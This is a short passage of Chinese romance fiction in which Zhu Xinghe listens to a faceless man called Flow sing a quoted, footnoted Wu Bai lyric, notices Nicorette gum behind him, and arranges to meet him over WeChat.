视频中的男人坐在镜头前,依旧没有露脸,怀里抱着一把吉他,修长白皙的手指轻轻拨动着琴弦,廖廖几个音节过后,歌声响了起来: “无心过问你的心里我的吻, 厌倦我的亏欠代替你所爱的人, 这个时候我心落花一样飘落下来, 顿时我的视线失去了色彩。”① 是非常性感又迷人的男低音,开口第一句就击中了祝星禾的心,他对唱歌好听的人真的没有抵抗力。 他聚精会神地看着、听着,整个人都沉浸在悦耳的歌声里,三分钟好像一眨眼就过去了。 没听够,再听一遍,进度条过半的时候,他忽然注意到男人身后的桌子上有样东西眼熟得很,将视频局部放大,可以清楚地看到绿色包装上的“Nicorette”字样——这是一款戒烟糖,当初纪松沉戒烟的时候,吃的就是这个! Flow在戒烟吗? 是为了他吗? 此时此刻,祝星禾没办法不自作多情,他的心因为这个猜测而澎湃不已。 他回到微信,快速打字,不假思索地发送。 祝星禾:[等我回到西城,我们见个面吧?] Flow秒回:[好。] - ①引自伍佰《泪桥》